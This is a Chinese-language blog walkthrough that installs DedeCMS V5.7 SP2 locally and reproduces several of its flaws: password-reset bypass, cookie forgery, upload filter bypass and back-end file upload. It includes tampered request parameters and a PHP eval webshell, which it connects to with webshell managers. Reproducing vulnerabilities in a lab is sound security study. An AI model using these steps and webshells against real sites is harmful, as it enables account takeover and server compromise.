文章目录

  • 前言
  • 一、环境搭建
    •   首页访问慢解决方案
  • 二、漏洞分析以及复现
    •   任意修改前台用户密码
    •   cookie伪造任意前台用户登录
    •   前台文件上传漏洞
    •   任意重置后台用户密码
    •   后台任意文件上传

前言

  织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。


一、环境搭建

下载DedeCMS并源码解压到phpstuday目录下

然后输入http://localhost/uploads/install/index.php进入安装界面

进入环境检测页面

进入参数配置页面

安装完成

访问首页 http://localhost/uploads/index.html

登录后台(默认用户、密码 admin admin)
默认管理后台路径:http://localhost/uploads/dede/login.php

  首页访问慢解决方案

注释以下代码(DedeCMS-V5.7-UTF8-SP2\uploads\dede\templets\index_body.htm)

$(function()
{$.get("index_testenv.php",function(data){if(data !== ''){$("#__testEvn").html(data);}});$.get("index_body.php?dopost=get_seo",function(data){if(data !== ''){$("#SEOInfo").html(data);}});
});

注释以下代码(DedeCMS-V5.7-UTF8-SP2\uploads\include\helpers\mda.helper.php)

define('MDA_APIHOST', 'http://ssp.desdev.cn');define('MDA_JQUERY', MDA_APIHOST.'/assets/js/jquery.min.js');
define('MDA_REG_URL', MDA_APIHOST.'/home/register');
define('MDA_FORGOT_PASSWORD_URL', MDA_APIHOST.'/home/forgot_password');
define('MDA_UPDATE_URL', MDA_APIHOST.'/home/update');define('MDA_API_BIND_USER', MDA_APIHOST.'/api_v1/dedecms/bind_user');
define('MDA_API_LOGIN', MDA_APIHOST.'/api_v1/dedecms/login');
define('MDA_API_CHECK_LOGIN', MDA_APIHOST.'/api_v1/dedecms/check_login');
define('MDA_API_GET_PLACE', MDA_APIHOST.'/api_v1/dedecms/get_place');

注释以下代码(DedeCMS-V5.7-UTF8-SP2\uploads\data\admin\config_update.php)
代码里面包含*dedecms.com 都可以注释了

 define('UPDATEHOST', 'http://updatenew.dedecms.com/base-v57/');define('LINKHOST', 'http://flink.dedecms.com/server_url.php');

二、漏洞分析以及复现

  任意修改前台用户密码

漏洞成因
  在用户密码重置处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员默认不设置密保问题)。注意:修改的密码是member表中的密码(前台),即使修改了管理员密码也member表中的管理的密码,仍是无法进入管理后台。

漏洞代码分析
  其中 $row['safequestion'] == $safequestion && $row['safeanswer'] ==$safeanswer代码是问题的关键,首先我们知道,如果没有设置密保的话$row['safequestion'] 从数据库取出默认为’0’,$row['safeanswer']为空,且变量$safeanswer$safequestion是用户可控制的变量,又使用了 ==进行判断, 因此该判断规则存在弱类型问题。根据empty函数特性,‘0’会被判断为空,会进入重新将$safequestion赋值为’’。而’0’ != ‘’,所以我们需要一个输入即不使empty为空,且弱类型等于’0’的字符串。‘00’、‘000’、'0.0’以上这些都是可以的。

跟入sn()函数, 当第一次进行忘记密码操作时,$row为空,所以进入第一个if条件发送邮件insert一条记录到dede_pwd_tmp表里;如果之前进行过忘记密码操作,但是时间已经超过10分钟,那么继续进行发送新验证码的操作update dede_pwd_tmp表里面的数据

跟入newmail()函数,当这里第一次进行insert操作(update操作是一样的)时,将8为的随机字符串 r a n d v a l 加 密 后 下 乳 d e d e p w d t m p 表 中 , 然 后 当 randval加密后下乳dede_pwd_tmp表中,然后当 randval加密后下乳dedep​wdt​mp表中,然后当send = N时(上面默认传入N),将随机字符串$randval拼接到url中返回

$mid就是可控的参数member_id,既然这列已经返回了重置密码的验证码key那么就可以直接重置对应id的用户密码了

首先在重置密码时,判断输入的id对应用户是否进行过密码重置操作,如果没有就退出了。

然后判断传入的key的md5是否等于数据库中的pwd内容,如果相等就直接修改了dede_member表中对应用户的密码了。

empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。
当 var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE。
以下的变量会被认为是空的:
“” (空字符串)
0 (作为整数的0)
0.0 (作为浮点数的0)
“0” (作为字符串的0)
NULL FALSE array() (一个空数组)
$var; (一个声明了,但是没有值的变量)

漏洞复现
注册、登录不了

进入后台管理开启会员功能

注册一个账户(格式为1xxx 或者001 00001 00001这种格式 )

注册成功

进入会员中心 退出用户

点击忘记密码  http://192.168.204.129/uploads/member/resetpassword.php

输入用户名、邮箱  点击通过安全问题取回

安全问题

通过BurpSuite 改包把
dopost=safequestion&id=9&userid=001&safequestion=0&safeanswer=SDFS&vdcode=fykc替换成
dopost=safequestion&id=1&userid=001&safequestion=00&safeanswer=&vdcode=fykc

获取重置密码的链接(http://192.168.204.129/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=PuzjtPi)

进入url修改密码(admin123 )

重置密码出现非法提交
出现非法提交如下图


就把http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=92L1YcQ2
拆分成http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1直接访问URL 临时密码就是92L1YcQ2


更改密码成功

  cookie伪造任意前台用户登录

前置知识
  如果要把一个key存储到cookie中,织梦的存储方式是把key和加密key同时存储在cookie中。每次读取用户传来的key时,将key进行加密后与传来的加密key比对,如果相同则认为这个key合法。
注意!!!如果我们能模拟出这个加密算法,我们将可以从cookie中传递任何key。或者将想要的key传给服务器,让服务器加密后拿来用。这次的漏洞就是需要一个00001的cookie值,所以我们注册一个用户名为00001账号就可以获奖00001加密后的值。
漏洞成因
   dedecms的会员模块的身份认证使用的客户端session,在cookie中写入用户ID并且附上ID_ckMd5,用来做签名,主页存在逻辑漏洞,导致可以返回指定uid的id的MD5散列值,原理上可以伪造任意用户登录。

漏洞代码分析
  在文件/include/helpers/cookie.helper.php,56行。admin默认1,那么cookie会存两个变量:分别为mid=1和mid_ckMd5=fd3b4f2a75d4965a其中fd3b4f2a75d4965a是通过函数substr(md5(~cookieEncode~1),0,16)得到。只有key与key__ckMd5相对应才能获取cookie。


/uploads/member/index.php 文件中,更新最近访客记录及站点统计记录处,当满足$vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',')的时候且$last_vid的值为空的时候,会令$last_vid = $uid然后在第164行中使用 PutCookie('last_vid', $last_vid, 3600*24, '/');将cookie下发到客户端
last_vid 保存的数据就是以前登录过得uid。所以我们只要用一个名为1的用户登录,last_vid就会保存1,last_vid__ckMd5保存的数据就是1对应的__ckMd5

此处,查看登录位置的代码块,知晓登录时候cookie的生成规则是否是 PutCookie ,在文件 /cms/uploads/include/memberlogin.class.php 中输入合规的loginuser 和loginpwd便会执行 PutLoginInfo


跟入PutLoginInfo 方法,在文件 /cms/uploads/include/memberlogin.class.php 中发现了该方法的代码块,且在使用了 PutCookie 下发cookie。因此存在cookie的伪造漏洞。

跟入检测登录状态的代码,在文件 \cms\uploads\include\memberlogin.class.php 中发现代码块, cookie中的DedeUserID参数的值,传入数据库查询获得结果后,把结果展示在页面上

漏洞复现
登录会员中心

进入个人空间 提示空间禁止访问

进入后台管理开放权限

资料状态改为:正常使用或者审核通过都可以

打开Burp Suite 拦截功能进入001的个人空间
DedeUserID的值替换成last_vid的值
last_vid__ckMd5的值替换成DedeUserID__ckMd5的值

forward 进入了

切换到会员中心刷新一下

再次进行替换
DedeUserID的值替换成last_vid的值
last_vid__ckMd5的值替换成DedeUserID__ckMd5的值

forward


我这里是使用Burp Suite拦截进行替换有点繁琐每次都需要替换DedeUserID和last_vid 可以使用cookie修改插件 比如EditThisCookie

  前台文件上传漏洞

漏洞成因
  利用preg_replace函数将文件名中一些特殊符号进行过滤,过滤之后未对文件名进行再次检验,导致漏洞的产生。所以当我们上传的文件名中只要包含\r\n\t*%\/?><|":,都会被过滤掉。
漏洞代码分析
  在\include\dialog\select_images_post.php中的36行,过滤了一些异常的字符。

同时,在38行处判断了文件名是否包含了$cfg_imgtype的字符。

所以可以通过构造1.jpg.p*hp可以绕过36和38行代码

漏洞复现
内容中心 → 文章发表 → 图象
发表文章的表单有个一个图片图标,点击可以上传图片到服务器端


上传一张正常的图片(尽量选择小尺寸的图片)

打开Burp Suite进行拦截

如果send之后出现请输入后台管理目录名

回到页面 图像 → 浏览服务器

浏览服务器之后会跳转到后台管理目录然后点击转入登录

输入账户密码

之后在Burp Suite进行send

复制路径进行访问

在图片后面加上PHP一句话木马 <?php eval($_POST[123]);?> 并把后缀进行更改0.png.p*hp 然后进行发包

访问上传的路径

复制链接 复制到中国菜刀的地址里面

getshell

  任意重置后台用户密码

漏洞成因
  当使用admin用户登录前台进行密码修改的时候会顺带将admin的后台密码也进行修改了。

漏洞代码分析
  代码的意思数据查询的matt等于10且密码不等于空就会判断是管理员,然后进行修改密码

漏洞复现
  先利用前台用户密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞登录到admin前台在如下页面进行密码重置,旧密码便是利用任意前台用户密码重置漏洞amdin的前台密码(admin123),新密码自行设置

修改成功

访问后台管理用修改的密码进行登录(admin)

  后台任意文件上传

漏洞成因
  对上传的文件没有进行严格的过滤
漏洞代码分析

代码没进行任何过滤就直接上传了

漏洞复现
进入后台管理 → 文件式管理 → 文件上传

上传1.php 一句话木马(<?php eval($_POST[x]);?>)


使用蚁剑连接


DebeCMS环境搭建以及漏洞复现相关推荐

  1. 关于WebLogic环境搭建和漏洞复现

    一.环境搭建 使用kali系统安装docker,再在docker上安装环境,这里以CVE-2020-14882为例 在kali进入root用户,输入 git clone https://github. ...

  2. php目录遍历漏洞复现,nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现...

    nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...

  3. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

  4. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

    Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...

  5. OA-命令执行漏洞复现

    文章目录 0x01介绍 0x02原理 0x03影响版本 0x04环境搭建 0x05漏洞复现 方法一:通过抓包,改包进行利用 方法二:直接利用 免责声明本文档供学习,请使用者注意使用环境并遵守国家相关法 ...

  6. shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    文章目录 1. 前置知识 1.1 shiro550利用条件 原理 1.2 shiro721利用条件 原理 shiro-721对cookie中rememberMe的值的解析过程 1.3 基于返回包的sh ...

  7. 禅道linux一键安装漏洞,禅道全版本rce漏洞复现笔记

    禅道全版本rce漏洞复现笔记 漏洞说明 禅道项目管理软件是一款国产的,基于LGPL协议,开源免费的项目管理软件,它集产品管理.项目管理.测试管理于一体,同时还包含了事务管理.组织管理等诸多功能,是中小 ...

  8. Jenkins cve-2016-0792 漏洞复现 Xstream 反序列化漏洞

    环境搭建 首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析 ...

  9. TLS远程信息泄露 心脏滴血 CVE-2014-0160 漏洞复现

    TLS远程信息泄露 心脏滴血 CVE-2014-0160 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1.环境搭建 2.漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 He ...

最新文章

  1. 高级软件工程第二次作业
  2. python3.8.5是python3吗_科学网-Ubuntu16.04安装Python3.8.5问题及解决方法-陈超的博文
  3. Machine Learning之Python篇(二)
  4. 再深入 HTTP Referer【转】
  5. linux string
  6. Study Struts Commons Validator
  7. 【POJ1328】Radar Installation(贪心,决策包容)
  8. SCI论文编辑教你如何准备SCI论文和写作
  9. 在Linux上如何查看Python3自带的帮助文档?
  10. length()函数_奇怪的Haskell实验——length的实现是?
  11. 换行、回车、空格等常用的ASCII码值
  12. 卡耐基梅隆大学教授邢波:Petuum,大数据分布式机器学习平台
  13. Unity动画系统知识体系概览
  14. 【渝粤题库】广东开放大学 服务标准化 形成性考核
  15. PLSQL官网, 及个版本下载地址和下载方法
  16. 还在买鲜花送女神?手把手教你搭建3D立体相册网站,包女神稀饭
  17. 【日志篇】java日志的桥接器和适配器和异步日志
  18. English-国内三大翻译证书比较
  19. 希沃白板如何在公式里面输入绝对值符号
  20. Android安全包括哪些

热门文章

  1. chisel(Rocket Chip)中如何参数化芯片系统
  2. 算术型数字电路之定点数(fixed point)
  3. 硬盘无法识别怎么办?
  4. Windows提权工具 CVE-2019-1405 CVE-2019-1322
  5. 首个支持苹果 M1 的 Linux 发行版来啦!
  6. 探秘最新Linux内核中的自旋锁
  7. 王安石传——任浩之著
  8. 在控制台 在网页 输出特殊符号 Unicod编码
  9. 使用native2ascii命令将汉字转化为Unicod的\uxxxx形式教程
  10. c语言房屋信息系统管理的设计方案,房屋销售系统的设计与实现.doc